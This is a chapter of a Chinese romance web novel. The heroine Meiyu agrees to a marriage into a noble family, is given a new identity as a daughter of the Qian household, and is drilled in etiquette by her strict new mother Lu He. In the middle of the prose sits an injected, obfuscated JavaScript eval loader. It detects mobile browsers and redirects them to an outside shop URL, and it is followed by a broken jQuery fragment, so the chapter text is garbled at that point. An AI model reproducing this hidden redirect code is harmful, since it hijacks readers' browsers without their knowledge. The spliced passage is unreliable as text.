6. 飞上枝头
作品:《和毒唯夫君二三事》 “我嫁给他。”
梅渔爱钱,视钱如命。
钱也确实是她的命,为此她差点死去。
光是今天这一身行头,便是她一辈子都难以赚到的钱,所以,她不用思考太久,便直接答应了,日后就算是龙潭虎穴,她也要闯一闯,大不了就是一死,她看的很开。
唯一担心的便是她娘,既然说她二人不能相见相认,那陆家的人必然会将她娘藏起来。
“不过,我有个条件,我娘认字,也会写字,每三个月我要和她互通信件。”
薛婵眉头一皱,似是在斟酌。
“只是一封信件而已,薛夫人,我总要知道你们是否真的按说的那样,将我娘照顾好了。”
“可以。”薛婵应下,“那这两日小梅姑娘便可将你母亲送来此楼,会有人照应她的,而你便照之前说的,拿上玉佩前往钱府,哦,对了,我打听到了些关于姑娘的一点私事,嫁进陆家的媳妇便不能与外男有牵扯,姑娘记得妥帖处理。”
“明白。”
“酒楼的饭菜已经点好,姑娘用完膳食再回去罢,会有人送你的。”
薛婵推开门,门边守着的丫鬟跟在她身后,一直到上了马车,她整个人才松泛下来。
这一整日着实累的不轻。
香兰给她倒了杯茶,又给她捏肩,车轮声响起时,问:
“夫人随意寻个人来劝说便是了,何必亲自过来?”
薛婵闭目休憩,声音听起来已然累极:“到底是未来儿媳,总得亲自见见,看看究竟是个什么脾性。”
“那夫人觉得如何?”
“一个没见过世面的黄毛丫头罢了,尝到点甜头便抓着不放,言行举止更是粗鄙,”思及此,她想起白日刚见面时,那丫头的模样,嫌弃的瞄了眼那块被坐过的地方,冷冷地,“回去把这车上的东西都扔掉,换新的来。”
“是。”香兰小心给她按肩,“既然夫人如此不喜她,又何必促成这一桩婚事?不然日后整日在眼前看着得多闹心啊。”
“我瞧那疯小子也闹心,不也看了这些年了,他如今年岁渐长,岳母早就留心京城各家适龄贵女,与其让她替他则一个门当户对,家里有权势的,不好拿捏,倒不如顺他的意愿,还能让他记着我的好,而且,他若哪日出点什么意外,和那种村妇生的孩子未必就有我的儿子高贵。”
“夫人高明。”
*
三日后。
玉带巷临河,景致优美又出入方便,这一带住的多是朝廷官员,宅子有大有小,按官员品级来分。
这里只有一个钱府,便是礼部员外郎钱大人的宅邸,坐落在玉带巷中间地带,相邻的是太常寺卿林大人的宅子。
梅渔途径钱府门前,看了眼门前的两只石兽和门上的黑油锡环,走至出行的角门那,轻叩门环。
很快,便有一仆役开了门,她将那日薛婵给的玉佩拿给他看了眼,说是要进去通禀一声,便又将门合上了。
她便在门前耐心候着。
昨夜里她已经将娘送去了天香阁,并且看着陆家请来的太医给娘瞧了病。
她娘三年前去山上采药卖钱摔断了腿,自那后身体益发虚弱,后面病的几乎无法行动,只能整日卧于榻上,村里的刘大夫给她瞧了几次,都说是长久累积下来的,治不了,只能慢慢调养。
于是,她便一直找各种方法赚钱,想让她娘吃点好的,将身体调养过来。
昨夜那个太医看完后也跟刘亩说的差不多,只要好吃好喝心情无虞的养着,会慢慢好起来,她走前特意嘱咐了好些话。
她并不觉得自己这辈子都见不到她娘了,只要时间久,她总会查到他们将她藏到哪,故而走时没太过伤感,离开天香楼后,她给刘老头儿买了好些酒肉,知道他好这一口,郑重告了个别。
至于薛夫人所说的外男,梅渔不知道她跟谁打听来的,明明一直以来都是孙伯儒那家伙一厢情愿罢了,却一直将她与他牵扯在一起,故而,她也不想多说,今早上托人将那翡翠镯送还他,便走了,半句话都没留。
“吱呀——”
漆红的木门再度被人打开。
“原来是小姐,快随我来罢。”
小姐?
梅渔微愣,低头看了眼自己的衣裳。
原来陆府的人给她安排的是这么个身份吗?还好她今日穿的是那日薛婵给买的那身,与这称呼没有太过违和。
她挺直腰板,端起架子,学着那些见过的小姐们姿态跟这仆役进去了。
七拐八拐地来到一处种着紫藤的院子,走进堂内,一个身形高挑的妇人正拿着把剪刀修剪盆栽里的花木。
“夫人,小姐到了。”
妇人头也没抬地说:“嗯,你退下罢。”
听到门被带上的声响,妇人才放下手中剪刀,转身看向她。
她模样瞧着与薛婵差不多年岁,只是气质要更清冷些,不会说那些无用的漂亮话。
“梅渔是吗?”
梅渔颔首。
“我是青临的亲姑姑,你和他的事薛嫂子同我说了,既然他喜欢,我这做姑姑的总要帮一把,今后你便叫钱渔,是我夫君养在江南老宅里的大女儿,也就是我钱家的长女,以前的事情便都忘了,更不许再提,规矩和些必要的礼仪我都会让嬷嬷教你,这半年你就好好学,我会每日查看,不然日后你去了陆府,别个人可要说我钱家人上不得台面。”
“半年?”
陆荷觑她一眼:“嫌长?国公府不比寻常人家,亲事哪能说结就结,总要仔细准备一番,这已经是最快的了,若非青临那孩子闹腾,总归也要到明年。”
“是。”
“还有,这半年你不得和他见面,这是规矩,也是因为定了亲的女子若与未婚夫君相见不吉利,若有不明白的,便可直接来问我,记住,少说话,多学,多听。”
陆荷目光停在她身侧的手上,走过去,抬起来在眼前打量了番,嫌弃地蹙了下额。
“俗话说,手是女人的第二张脸,你的手是怎么弄成这般粗糙难看的?啧,我让人给你多备些香膏,日后每次净手都要涂抹,还有,重活什么的也都要习惯让下人去干,我过会儿给你拨两个丫鬟,日后她们会跟着你一起去陆府。”
梅渔认真听着。
这个钱府的夫人说话虽然没那么温和,但她却觉得这样的人比之薛婵要更好相处。
又听她说了一大堆话,末了,梅渔回:
“夫人,小人明白。”
陆荷:“错了,你还是不明白。”
她怔怔对上她的视线,反应过来自己话中的不对,不确定地道:
“……母亲?”
陆荷笑了:“这才对嘛。”
……
梅渔便这么在钱府住下了。
每日晨昏定省雷打不动地去给夫人请安,请完早安后便开始了一整日的课学,上午是个老嬷嬷教她大家小姐的各种规矩和仪态,下午则是女红、品茗、诗画、烹茶辨香和数算看账簿等
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744521|189820||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,轮着来。
晚上,陆荷会亲自查一遍她的学习成果,不好便要受罚,打手板子。
连着小半月下来,她整个人都瘦了一大圈,也没了往日的精气神,但是皮肤是肉眼可见越来越好了,尤其她的手,明显白皙细嫩了许多。
钱府的一大家子,她也差不多摸清了。
钱府的当家人是钱向明,是江南钱氏一族的分支,二十三进士及第,当之无愧的大才子,相貌堂堂,官运亨通,为人也亲和,是她现在名义上的父亲,就是他平日忙碌,她也很忙,鲜少见面。
钱府的当家主母是陆荷,英国公的小女儿,大家闺秀,做事认真,治下严苛,丈夫也被她管的死死的,很多下人都说钱大人是个怕夫人的主儿。
梅渔看着自己的手掌心表示:这谁能不怕啊,她见陆荷都跟见鬼似的。
陆荷跟钱向明有两个儿子,大的年九岁,名为钱永正,小的年五岁,名为钱永安。
两个都是乖孩子,被教的很有教养,懂礼貌。钱永正起先还对她这个突然冒出来的姐姐表示过不满,但后来发现她比自己过的还惨,更因为有了她的存在,能让陆荷对他放松些管教,他才对她有了些许同情,渐渐接受了。
至于小的钱永安,是个黏人精,自打她那天跳上树,把挂树枝上的风筝取下来后,这小家伙就觉得她是无所不能的大侠,整日缠着她,让她飞给他看。
梅渔想起这事就来气。
那日她跳树上给他取风筝的事情被陆荷看了个正着,事后拿着戒尺满府邸的追她跑,挨了二十下。
还大侠呢,哪家大侠有这么窝囊?
不过,对于陆荷她怕归怕,背地里骂也骂,但总的来说她待她不错,吃喝穿住样样都最好,而且她确实对她上心,让她第一次在外人身上感受到了丝亲情。
除此之外,与梅渔接触最多的便是陆荷给她挑的两个丫鬟——金瑶和银瑶。
一对儿姐妹,与她年龄相仿,金瑶性子要更细致沉稳些,银瑶相对跳脱,同她很玩的来。
这日午后,日暖风和。
梅渔坐在紫藤花架下绣花。
这已经是她绣的第六只鸳鸯了,快绣完,总算有点像模像样,还记得她开始绣的第一只,不知怎的被钱永安拿去了,饭桌上擦嘴时被人瞧见,当时她便宜父亲钱大人一本正经地评价——
“这猪啃玉米丑的有几分韵味。”
梅渔当时没好意思说,那其实是鸳鸯,旁边是荷花。
把自己想乐了,她“噗嗤”一笑,怀里突然钻进个小东西。
“大姐姐。”
是钱永安。
梅渔:“小安,我忙着呢,不能陪你玩,不然晚上母亲可要生气的。”
钱永安头摇的像拨浪鼓:“不是,小安不是来找你玩的,而是有事情要告诉你。”
梅渔眉梢微挑:“什么事?”
他凑近,附耳道:“大姐姐,我偷偷跟你说哦,有人偷看你。”
梅渔没当回事,她初来那几天,很多下人贪个新鲜,经常在她被嬷嬷训时来看个笑话,但还是耐心地顺他的话问:
“偷看我,谁啊?”
“那个人偷看你很多次了,但他们都不让说,哥哥说、说他是你夫君。”
“我夫君,笑话,我又没成亲哪来……”梅渔笑容一滞,一把按住他肩,“我夫君?长什么样?”
“唔……啊!他在那!”
梅渔猛地转头,果然见一个身影从围墙那跳了下去。

